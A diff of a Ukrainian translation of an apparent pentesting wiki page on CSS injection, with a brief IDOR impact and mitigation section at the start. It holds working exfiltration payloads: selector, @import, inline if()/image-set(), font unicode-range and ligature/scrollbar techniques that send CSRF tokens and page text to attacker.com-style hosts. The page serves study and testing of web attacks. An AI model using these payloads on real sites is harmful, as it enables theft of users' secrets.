У поєднанні з **стандартними обліковими даними адміністратора** (`123456:123456`), які надали доступ до тестового облікового запису, вразливість призвела до критичного витоку даних по всій компанії.
---
## 3. Наслідки IDOR / BOLA
* Horizontal escalation read/update/delete **other users** data.
* Vertical escalation low privileged user gains admin-only functionality.
* Mass-data breach if identifiers are sequential (e.g., applicant IDs, invoices).
* Account takeover by stealing tokens or resetting passwords of other users.
## 3. Вплив IDOR / BOLA
* Горизонтальне підвищення привілеїв читання/оновлення/видалення **інших користувачів’** даних.
* Вертикальне підвищення користувач з низькими привілеями отримує функціональність, доступну лише адміністраторам.
* Масове порушення конфіденційності, якщо ідентифікатори послідовні (наприклад, applicant IDs, invoices).
* Забор облікового запису шляхом викрадення токенів або скидання паролів інших користувачів.
---
## 4. Пом'якшення та найкращі практики
1. **Enforce object-level authorization** on every request (`user_id == session.user`).
2. Prefer **indirect, unguessable identifiers** (UUIDv4, ULID) instead of auto-increment IDs.
3. Perform authorization **server-side**, never rely on hidden form fields or UI controls.
4. Implement **RBAC / ABAC** checks in a central middleware.
5. Add **rate-limiting & logging** to detect enumeration of IDs.
6. Security test every new endpoint (unit, integration, and DAST).
## 4. Пом'якшення наслідків і найкращі практики
1. **Enforce object-level authorization** на кожен запит (`user_id == session.user`).
2. Віддавати перевагу **indirect, unguessable identifiers** (UUIDv4, ULID) замість автоінкрементних ID.
3. Виконувати авторизацію **server-side**, ніколи не покладатися на приховані поля форм або UI controls.
4. Реалізувати перевірки **RBAC / ABAC** у центральному middleware.
5. Додати **rate-limiting & logging** для виявлення enumeration ID.
6. Перевіряти безпеку кожного нового endpoint (unit, integration, та DAST).
---
## 5. Інструменти

View File

@ -4,9 +4,9 @@
## CSS Injection
### Атрибутний селектор
### Attribute Selector
CSS-селектори створюються так, щоб відповідати значенням атрибутів `name` та `value` елемента `input`. Якщо атрибут value елемента `input` починається з певного символу, завантажується попередньо визначений зовнішній ресурс:
CSS-селектори створюються, щоб відповідати значенням атрибутів `name` і `value` елемента `input`. Якщо атрибут `value` елемента `input` починається з певного символу, завантажується заздалегідь визначений зовнішній ресурс:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
Однак цей підхід має обмеження при роботі з прихованими input-елементами (`type="hidden"`), оскільки приховані елементи не завантажують фонові зображення.
Однак цей підхід має обмеження при роботі з прихованими елементами input (`type="hidden"`), оскільки приховані елементи не завантажують фони.
#### Обхід для прихованих елементів
Щоб обійти це обмеження, ви можете націлитися на наступний сусідній елемент за допомогою загального комбінатора сусідніх елементів `~`. Правило CSS тоді застосовується до всіх елементів, що йдуть після прихованого input-елемента, в результаті чого фонове зображення завантажується:
Щоб обійти це обмеження, ви можете націлитися на наступний елемент-сусід за допомогою загального селектора-сусіда `~`. Тоді CSS-правило застосовується до всіх елементів, що йдуть після прихованого input, змушуючи фонове зображення завантажитись:
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Практичний приклад експлуатації цієї техніки детально описано в наведеному фрагменті коду. Ви можете переглянути його [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
Практичний приклад експлуатації цієї техніки детально наведено в наведеному фрагменті коду. Ви можете переглянути його [тут](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Prerequisites for CSS Injection
#### Попередні умови для CSS Injection
Щоб техніка CSS Injection була ефективною, повинні бути виконані певні умови:
Для того, щоб техніка CSS Injection була ефективною, повинні бути виконані певні умови:
1. **Payload Length**: CSS injection vector має підтримувати достатньо довгі payloads, щоб вмістити сконструйовані селектори.
2. **CSS Re-evaluation**: Ви повинні мати можливість фреймити сторінку, що необхідно для ініціації повторної оцінки CSS з новими payloads.
3. **External Resources**: Техніка передбачає можливість використання зовнішньо розміщених зображень. Це може бути обмежено Content Security Policy (CSP) сайту.
1. **Payload Length**: Вектор CSS Injection має підтримувати достатньо довгі payloads, щоб вмістити сконструйовані selectors.
2. **CSS Re-evaluation**: Потрібно мати можливість frame-увати сторінку, що необхідно для тригера повторної оцінки CSS зі щойно згенерованими payloads.
3. **External Resources**: Техніка припускає можливість використовувати зовнішньо розміщені зображення. Це може бути обмежено Content Security Policy (CSP) сайту.
### Blind Attribute Selector
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. Це дуже корисно, коли ви не маєте уявлення про вміст веб-сторінки, яка завантажує CSS injection.\
Також можна використовувати ці селектори для витягнення інформації з кількох блоків одного типу, як у:
Як [**пояснено в цьому дописі**](https://portswigger.net/research/blind-css-exfiltration), можна комбінувати селектори **`:has`** та **`:not`** для виявлення вмісту навіть з blind elements. Це дуже корисно, коли ви не маєте уявлення, що знаходиться на веб-сторінці, яка завантажує CSS injection.\
Також можливо використовувати ці селектори для витягнення інформації з кількох блоків одного типу, як у:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -52,34 +52,34 @@ background: url(/m);
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
```
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
Поєднавши це з наступною технікою **@import**, можна exfiltrate багато **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
Попередня техніка має деякі недоліки — перевірте передумови. Вам потрібно або мати можливість **відправити кілька посилань жертві**, або мати можливість **iframe the CSS injection vulnerable page**.
Попередня техніка має деякі недоліки — перевірте prerequisites. Вам потрібно або мати можливість відправити жертві кілька посилань, або мати можливість iframe сторінку, вразливу до CSS injection.
Однак існує інша хитра техніка, яка використовує **CSS `@import`** для покращення якості техніки.
Однак існує ще одна хитра техніка, що використовує **CSS `@import`** для підвищення ефективності.
Це вперше показав [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) і працює вона так:
Це вперше показав [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) і працює це так:
Замість того, щоб завантажувати ту саму сторінку знову і знову з десятками різних payload щоразу (як у попередньому випадку), ми збираємося **завантажити сторінку лише один раз і лише з @import на сервер атакуючого** (це payload, який потрібно відправити жертві):
Замість того, щоб завантажувати ту саму сторінку знову і знову з десятками різних payloads кожного разу (як у попередньому прикладі), ми завантажимо сторінку лише один раз і тільки з import на attacker's server (це payload, який треба надіслати victim'у):
```css
@import url("//attacker.com:5001/start?");
```
1. Імпорт отримає від зловмисників **CSS script** і **браузер його завантажить**.
2. Перша частина CSS script, яку надішле атакуючий, — це **ще один `@import` до сервера атакуючих знову.**
1. Сервер атакуючих поки не відповідатиме на цей запит, оскільки ми хочемо leak кілька символів, а потім відповісти на цей import з payload, щоб leak наступні.
1. The import отримає **деякий CSS script** від attackers, і **browser його завантажить**.
2. Перша частина CSS script, яку attacker надішле, — це **ще один `@import` до attackers server**.
1. attackers server поки не відповість на цей запит, бо ми хочемо leak деякі chars, а потім відповісти на цей import payload-ом, щоб leak наступні.
3. Друга і більша частина payload буде **attribute selector leakage payload**
1. Це відправить на сервер атакуючих **перший символ секрету і останній**
4. Як тільки сервер атакуючих отримає **перший і останній символ секрету**, він **відповість на import, запитаний у кроці 2**.
1. Відповідь буде точно така ж, як у **кроках 2, 3 і 4**, але цього разу вона спробує **знайти другий символ секрету, а потім передостанній**.
1. Це надішле до attackers server **перший char секрету та останній**
4. Як тільки attackers server отримає **перший і останній char секрету**, він **відповість на import, запитаний у кроці 2**.
1. Відповідь буде точно такою ж, як **steps 2, 3 and 4**, але цього разу вона спробує **знайти другий char секрету, а потім передостанній**.
Атакуючий буде f**ollow that loop until it manages to leak completely the secret**.
The attacker will f**ollow that loop until it manages to leak completely the secret**.
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
> [!TIP]
> Скрипт буде намагатися відкривати по 2 символи щоразу (з початку і з кінця), тому що attribute selector дозволяє робити такі речі:
> Скрипт намагатиметься виявляти по 2 chars за ітерацію (з початку і з кінця), оскільки attribute selector дозволяє робити такі речі:
>
> ```css
> /* value^= to match the beggining of the value*/
@ -93,23 +93,23 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
> }
> ```
>
> Це дозволяє скрипту faster витягувати секрет.
> Це дозволяє скрипту leak секрет швидше.
> [!WARNING]
> Іноді скрипт **неправильно визначає, що знайдені префікс + суфікс уже є повним flag**, і він продовжить вперед (в префіксі) і назад (в суфіксі) і в якийсь момент зависне.\
> Не хвилюйтеся, просто перевірте **output**, оскільки **ви можете побачити flag там**.
> Іноді скрипт **неправильно визначає, що виявлений префікс + суфікс вже становить повний flag**, і він продовжить вперед (у префіксі) і назад (у суфіксі), в результаті чого в якийсь момент зависне.\
> Не хвилюйтеся, просто перевірте **output**, тому що **ви можете побачити flag там**.
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
Цей примітив дозволяє exfiltration, використовуючи лише inline style атрибут елемента, без селекторів чи зовнішніх stylesheet-ів. Він базується на CSS custom properties, функції attr() для читання same-element attributes, нових CSS if() умов для розгалужень та image-set() для тригера мережевого запиту, який кодує знайдене значення.
> [!WARNING]
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
> Порівняння рівності в if() вимагають подвійних лапок для string literals. Одинарні лапки не співпадуть.
- Sink: контролюйте style attribute елемента і переконайтеся, що цільовий атрибут знаходиться на тому ж елементі (attr() читає лише атрибути того самого елемента).
- Read: скопіюйте атрибут у CSS-перемінну: `--val: attr(title)`.
- Decide: оберіть URL за допомогою вкладених умовних виразів, порівнюючи перемінну зі строковими кандидатами: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: застосуйте `background: image-set(var(--steal))` (або будь-яку властивість, що викликає завантаження) щоб примусити запит до вибраної кінцевої точки.
- Sink: контролюйте style attribute елемента і переконайтесь, що target attribute знаходиться на тому ж елементі (attr() читає лише same-element attributes).
- Read: скопіюйте атрибут у CSS variable: `--val: attr(title)`.
- Decide: оберіть URL за допомогою вкладених conditionals, порівнюючи змінну зі строковими кандидатами: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: застосуйте `background: image-set(var(--steal))` (або будь-яку властивість, що робить fetch) щоб примусити запит до обраного endpoint.
Attempt (does not work; single quotes in comparison):
```html
@ -123,24 +123,24 @@ Attempt (does not work; single quotes in comparison):
```html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
```
Реалістичне демо (перевірка імен користувачів):
Реалістична демонстрація (перевірка імен користувачів):
```html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
```
Примітки та обмеження:
- Працює на браузерах на базі Chromium на момент дослідження; поведінка може відрізнятися на інших рушіях.
- Найкраще підходить для скінчених/перелічуваних просторів значень (IDs, flags, short usernames). Викрадення довільно довгих рядків без зовнішніх стилів залишається складним.
- Будь-яка CSS-властивість, яка отримує URL, може бути використана для тригеру запиту (e.g., background/image-set, border-image, list-style, cursor, content).
- Працює у браузерах на основі Chromium на момент дослідження; поведінка може відрізнятися в інших рушіях.
- Найкраще підходить для скінченних/перелічуваних просторів значень (IDs, flags, short usernames). Викрадення довільно довгих рядків без зовнішніх стилів залишається складним.
- Будь-яка CSS-властивість, яка отримує URL, може бути використана для ініціювання запиту (наприклад, background/image-set, border-image, list-style, cursor, content).
Автоматизація: Burp Custom Action може згенерувати nested inline-style payloads для brute-force значень атрибутів: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Автоматизація: Burp Custom Action може генерувати вкладені inline-style payloads для brute-force перебору значень атрибутів: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
### Інші селектори
Інші способи доступу до частин DOM за допомогою **CSS selectors**:
- **`.class-to-search:nth-child(2)`**: Це знайде другий елемент з класом "class-to-search" у DOM.
- **`:empty`** селектор: Використовується, наприклад, в [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
- **`:empty`** селектор: Використовується, наприклад, у [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty {
@ -150,9 +150,9 @@ background-image: url("YOUR_SERVER_URL?1");
### Error based XS-Search
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Посилання:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Загальна ідея полягає в тому, щоб **use a custom font from a controlled endpoint** та забезпечити, щоб **text (in this case, 'A') is displayed with this font only if the specified resource (`favicon.ico`) cannot be loaded**.
Загальна мета — **використати кастомний шрифт з контрольованого endpoint** і забезпечити, що **текст (в цьому випадку 'A') відображається цим шрифтом лише якщо вказаний ресурс (`favicon.ico`) не може бути завантажений**.
```html
<!DOCTYPE html>
<html>
@ -174,49 +174,49 @@ font-family: "poc";
</body>
</html>
```
1. **Використання користувацького шрифту**:
1. **Використання власного шрифту**:
- Користувацький шрифт визначено за допомогою правила `@font-face` всередині тега `<style>` в секції `<head>`.
- Шрифт названо `poc` і він завантажується з зовнішнього endpoint (`http://attacker.com/?leak`).
- Властивість `unicode-range` встановлено в `U+0041`, що націлено на конкретний Unicode-символ 'A'.
- Власний шрифт визначається за допомогою правила `@font-face` всередині тега `<style>` в секції `<head>`.
- Шрифт названо `poc` і він завантажується з зовнішнього сервера (`http://attacker.com/?leak`).
- Властивість `unicode-range` встановлено в `U+0041`, націлюючи конкретний Unicode-символ 'A'.
2. **Елемент `<object>` з запасним текстом**:
- В секції `<body>` створено елемент `<object>` з `id="poc0"`. Цей елемент намагається завантажити ресурс з `http://192.168.0.1/favicon.ico`.
- Для цього елементу `font-family` встановлено в `'poc'`, як визначено в секції `<style>`.
- Якщо ресурс (`favicon.ico`) не завантажиться, відобразиться запасний контент (буква 'A') всередині тега `<object>`.
- Запасний контент ('A') буде відрендерено з використанням користувацького шрифту `poc`, якщо зовнішній ресурс не може бути завантажений.
2. **Елемент `<object>` з резервним текстом**:
- У секції `<body>` створюється елемент `<object>` з `id="poc0"`. Цей елемент намагається завантажити ресурс з `http://192.168.0.1/favicon.ico`.
- Для цього елемента властивість `font-family` встановлена в `'poc'`, як визначено в секції `<style>`.
- Якщо ресурс (`favicon.ico`) не вдасться завантажити, всередині тега `<object>` відображається резервний вміст (літера 'A').
- Резервний вміст ('A') буде відрендерено з використанням власного шрифту `poc`, якщо зовнішній ресурс не може бути завантажений.
### Стилізація Scroll-to-Text Fragment
Псевдоклас **`:target`** використовується для вибору елемента, на який вказує **фрагмент URL**, як зазначено в [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Важливо розуміти, що `::target-text` не відповідає жодним елементам, якщо текст явно не націлений фрагментом.
Псевдоклас **`:target`** використовується, щоб вибрати елемент, на який посилається **URL fragment**, як зазначено в [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Важливо розуміти, що `::target-text` не відповідає жодним елементам, якщо текст явно не вказано у фрагменті.
Проблема безпеки виникає, коли зловмисники експлуатують функцію **Scroll-to-text** fragment, що дозволяє їм підтвердити наявність певного тексту на веб-сторінці, завантаживши ресурс з їхнього сервера через HTML injection. Метод включає ін'єкцію CSS-правила такого вигляду:
Виникає проблема безпеки, коли зловмисники експлуатують функцію **Scroll-to-text**, що дозволяє їм підтвердити наявність конкретного тексту на веб-сторінці шляхом завантаження ресурсу з їхнього сервера через HTML-ін'єкцію. Метод полягає у впровадженні CSS-правила на кшталт цього:
```css
:target::before {
content: url(target.png);
}
```
У таких сценаріях, якщо на сторінці присутній текст "Administrator", то з сервера запитується ресурс `target.png`, що вказує на наявність цього тексту. Екземпляр цієї атаки можна виконати через спеціально сформований URL, який вбудовує інжектований CSS разом із Scroll-to-text fragment:
У таких сценаріях, якщо на сторінці присутній текст "Адміністратор", запитується з сервера ресурс `target.png`, що вказує на наявність цього тексту. Приклад такої атаки може бути виконаний через спеціально сформований URL, який вбудовує ін'єкований CSS разом зі Scroll-to-text fragment:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Тут атака маніпулює HTML injection, щоб передати CSS-код, орієнтований на конкретний текст "Administrator" через Scroll-to-text fragment (`#:~:text=Administrator`). Якщо текст знайдено, вказаний ресурс завантажується, ненавмисно сигналізуючи про його наявність нападнику.
Тут атака маніпулює HTML injection, щоб передати CSS-код, націлюючись на конкретний текст "Administrator" через Scroll-to-text fragment (`#:~:text=Administrator`). Якщо текст знайдено, вказаний ресурс завантажується, ненавмисно сповіщаючи про його наявність зловмисника.
Для пом'якшення ризику слід врахувати такі моменти:
Для зменшення ризику слід звернути увагу на такі моменти:
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) призначений для співпадання лише зі словами або реченнями, таким чином обмежуючи його здатність leak arbitrary secrets or tokens.
2. **Restriction to Top-level Browsing Contexts**: STTF працює виключно в top-level browsing contexts і не функціонує в iframes, що робить будь-яку exploitation attempt більш помітною для користувача.
3. **Necessity of User Activation**: STTF потребує user-activation gesture для роботи, тобто exploitations можливі лише через user-initiated navigations. Ця вимога значно знижує ризик автоматизованих атак без взаємодії користувача. Тим не менш, автор статті в блозі вказує на специфічні умови та bypasses (наприклад, social engineering, взаємодія з поширеними browser extensions), які можуть спростити автоматизацію атаки.
1. **Обмежене зіставлення STTF**: Scroll-to-text Fragment (STTF) призначений для зіставлення лише слів або речень, тим самим обмежуючи його здатність до leak довільних секретів або токенів.
2. **Restriction to Top-level Browsing Contexts**: STTF працює виключно в top-level browsing contexts і не функціонує в межах iframes, через що будь-яка спроба exploitation стає більш помітною для користувача.
3. **Необхідність user-activation**: STTF вимагає жесту user-activation для роботи, тобто exploitation можливі лише через навігації, ініційовані користувачем. Це суттєво зменшує ризик автоматизованих атак без взаємодії користувача. Проте автор blog post зазначає конкретні умови та обходи (наприклад, social engineering, взаємодія з поширеними browser extensions), які можуть полегшити автоматизацію атаки.
Обізнаність про ці механізми та потенційні вразливості є ключовою для підтримки веб-безпеки та захисту від таких exploitative tactics.
Усвідомлення цих механізмів і потенційних вразливостей є ключовим для підтримання веб-безпеки та захисту від таких експлуативних тактик.
For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Ви можете переглянути an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
Можна переглянути an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Ви можете вказати **зовнішні шрифти для конкретних unicode-значень**, які будуть **завантажені лише якщо ці unicode-значення присутні** на сторінці. Наприклад:
Ви можете вказати **зовнішні шрифти для конкретних unicode values**, які будуть **завантажені лише якщо ці unicode values присутні** на сторінці. Наприклад:
```html
<style>
@font-face {
@ -242,25 +242,25 @@ font-family: poc;
<p id="sensitive-information">AB</p>
htm
```
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
Коли ви заходите на цю сторінку, Chrome і Firefox роблять запити "?A" та "?B", тому що текстовий вузол sensitive-information містить символи "A" і "B". Але Chrome і Firefox не роблять запит "?C", оскільки він не містить "C". Це означає, що нам вдалося прочитати "A" і "B".
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Reference:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
**Джерело:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
Описана техніка полягає у вилученні тексту з вузла шляхом використання лігатур шрифту та відстеження змін ширини. Процес складається з кількох кроків:
Описана техніка полягає у витяганні тексту з вузла шляхом експлуатації ligatures шрифтів і моніторингу змін ширини. Процес включає кілька кроків:
1. **Creation of Custom Fonts**:
- SVG fonts створюються з glyph'ами, що мають атрибут `horiz-adv-x`, який задає велику ширину для glyph, що представляє послідовність з двох символів.
- Example SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, where "XY" denotes a two-character sequence.
- Ці шрифти потім конвертуються у формат woff за допомогою fontforge.
- Створюються SVG fonts з glyphs, що мають атрибут `horiz-adv-x`, який задає велику ширину для glyph, що представляє послідовність з двох символів.
- Приклад SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, де "XY" позначає послідовність з двох символів.
- Ці шрифти потім конвертують у woff формат за допомогою fontforge.
2. **Detection of Width Changes**:
- У CSS забезпечують, щоб текст не переносився (`white-space: nowrap`) і налаштовують стиль смуги прокрутки.
- Поява горизонтальної смуги прокрутки, стилізованої особливим чином, виступає індикатором (oracle) того, що конкретна лігатура, а отже й конкретна послідовність символів, присутня в тексті.
- The CSS involved:
- CSS використовується, щоб текст не переносився (`white-space: nowrap`) і щоб кастомізувати стиль scrollbar.
- Поява горизонтального scrollbar, стилізованого особливим чином, виступає індикатором (oracle), що певна ligature, а отже і певна послідовність символів, присутня в тексті.
- Залучений CSS:
```css
body {
white-space: nowrap;
@ -275,28 +275,28 @@ background: url(http://attacker.com/?leak);
3. **Exploit Process**:
- **Step 1**: Fonts are created for pairs of characters with substantial width.
- **Step 2**: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence.
- **Step 3**: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character.
- **Step 4**: Detection of the three-character ligature is carried out.
- **Step 5**: The process repeats, progressively revealing the entire text.
- **Step 1**: Створюються шрифти для пар символів з великою шириною.
- **Step 2**: Використовується трюк з scrollbar для виявлення моменту, коли рендериться glyph великої ширини (ligature для пари символів), що вказує на наявність цієї послідовності символів.
- **Step 3**: Після виявлення ligature генеруються нові glyphs, що представляють послідовності з трьох символів, включаючи виявлену пару і додаючи передуючий або наступний символ.
- **Step 4**: Проводиться виявлення трисимвольної ligature.
- **Step 5**: Процес повторюється, поступово розкриваючи весь текст.
4. **Optimization**:
- The current initialization method using `<meta refresh=...` is not optimal.
- A more efficient approach could involve the CSS `@import` trick, enhancing the exploit's performance.
- Поточний метод ініціалізації з використанням `<meta refresh=...` не є оптимальним.
- Більш ефективний підхід може використовувати трюк з `@import` в CSS, що покращить продуктивність експлойту.
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Джерело:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Набір символів (charset), який використовується в текстовому вузлі, може бути leaked **using the default fonts**, встановленими в браузері: зовнішні або кастомні шрифти не потрібні.
Цей трюк було оприлюднено в цій [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Charset, що використовується в текстовому вузлі, може бути витяжено **з використанням стандартних шрифтів**, встановлених у браузері: не потрібні зовнішні чи кастомні шрифти.
Концепція полягає в використанні анімації для поступового розширення ширини `div`, що дозволяє по одному символу переходити з 'suffix' частини тексту в 'prefix' частину. Цей процес фактично розбиває текст на дві секції:
Концепція базується на використанні анімації для поступового розширення ширини `div`, що дозволяє одному символу за раз переходити з частини тексту 'suffix' до частини 'prefix'. Цей процес фактично розділяє текст на дві секції:
1. **Prefix**: початковий рядок.
2. **Suffix**: наступний(і) рядки.
1. **Prefix**: початкова лінія.
2. **Suffix**: наступна(і) лінія(і).
Стадії переходу символів виглядали б так:
Стадії переходу символів виглядатимуть так:
**C**\
ADB
@ -309,15 +309,15 @@ B
**CADB**
Під час цього переходу застосовується трюк `unicode-range` для ідентифікації кожного нового символу, коли він приєднується до prefix. Це досягається переключенням шрифту на Comic Sans, який помітно вищий за шрифт за замовчуванням, в результаті чого з'являється вертикальна смуга прокрутки. Поява цієї смуги побічно вказує на наявність нового символу в prefix.
Під час цього переходу застосовується трюк з **unicode-range** для ідентифікації кожного нового символу, коли він приєднується до prefix. Це досягається шляхом перемикання шрифту на Comic Sans, який помітно вищий за стандартний шрифт, внаслідок чого з'являється вертикальний scrollbar. Поява цього scrollbar опосередковано виявляє присутність нового символу в prefix.
Although this method allows the detection of unique characters as they appear, it does not specify which character is repeated, only that a repetition has occurred.
Хоча цей метод дозволяє виявити унікальні символи в міру їх появи, він не вказує, який саме символ повторюється — лише те, що відбулося повторення.
> [!TIP]
> Basically, the **unicode-range is used to detect a char**, but as we don't want to load an external font, we need to find another way.\
> When the **char** is **found**, it's **given** the pre-installed **Comic Sans font**, which **makes** the char **bigger** and **triggers a scroll bar** which will **leak the found char**.
> В основному **unicode-range використовується для виявлення char**, але оскільки ми не хочемо завантажувати зовнішній шрифт, потрібно знайти інший спосіб.\
> Коли **char** **знайдено**, йому присвоюється попередньо встановлений шрифт **Comic Sans**, який робить char більшим і викликає появу смуги прокрутки, що призведе до leak знайденого char.
Check the code extracted from the PoC:
Перегляньте код, витягнутий з PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
@ -742,17 +742,17 @@ div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset за допомогою стандартного шрифту шляхом приховування елементів (не вимагає зовнішніх ресурсів) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** Це згадується як [неуспішне рішення в цьому розборі](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Цей випадок дуже схожий на попередній, проте тут мета зробити певні **chars** більшими за інші, щоб сховати щось — наприклад кнопку, яку бот не натисне, або зображення, яке не завантажиться. Таким чином ми можемо виміряти дію (або її відсутність) і дізнатися, чи присутній певний char у тексті.
Цей випадок дуже схожий на попередній, проте тут мета — зробити певні **символи більшими за інші, щоб приховати щось** (наприклад кнопку, яку бот не має натискати, або зображення, що не буде завантажене). Таким чином можна виміряти дію (або її відсутність) і дізнатися, чи присутній конкретний символ у тексті.
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset за допомогою таймінгу кешу (не вимагає зовнішніх ресурсів) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** Це згадується як [неуспішне рішення в цьому розборі](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
У цьому випадку ми можемо спробувати leak, щоб перевірити, чи є певний char у тексті, завантаживши фейковий шрифт з того самого origin:
У цьому випадку ми можемо спробувати leak, чи присутній символ у тексті, завантаживши фейковий шрифт з того самого origin:
```css
@font-face {
font-family: "A1";
